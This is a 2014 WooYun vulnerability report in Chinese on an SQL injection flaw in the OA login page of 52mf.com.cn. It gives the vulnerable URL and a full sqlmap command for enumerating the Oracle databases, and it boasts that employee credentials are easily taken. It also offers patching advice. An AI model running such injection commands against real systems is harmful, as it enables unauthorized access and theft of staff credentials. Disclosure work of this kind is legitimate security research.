漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-086656
漏洞标题：魔方某系统SQL注入漏洞(员工帐号密码手到擒来)
相关厂商：52mf.com.cn
漏洞作者： her0ma
提交时间：2014-12-23 15:50
修复时间：2014-12-28 15:52
公开时间：2014-12-28 15:52
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：18
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-12-23： 细节已通知厂商并且等待厂商处理中
2014-12-28： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
租房啊租房，无意发现魔方中国这个高大上连锁服务式公寓集团，看图片公寓貌似挺高大上啊，就是租金太贵……
详细说明：
oa系统使用了通用的程序，存在SQL注入漏洞，具体的漏洞URL:
http://oa.52mf.cn/wui/theme/ecology7/page/login.jsp?templateId=1
漏洞证明：
使用SQLmap进行注入：
python sqlmap.py -u "http://oa.52mf.cn/wui/theme/ecology7/page/login.jsp?templateId=1" --dbs --dbms "Oracle"
如图,可以获取所有的数据库表：
就不继续深入了，所有员工的oa帐号密码肯定手到擒来！
修复方案：
通用使用，使用需谨慎，可以考虑放到内网，毕竟OA系统属于比较重要的系统。
最主要还是SQL注入漏洞，可以参考他们官方的补丁吧，升级系统！
版权声明：转载请注明来源 her0ma@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-12-28 15:52
厂商回复：
最新状态：
2014-12-30：厂商已确认该漏洞，很快即将修复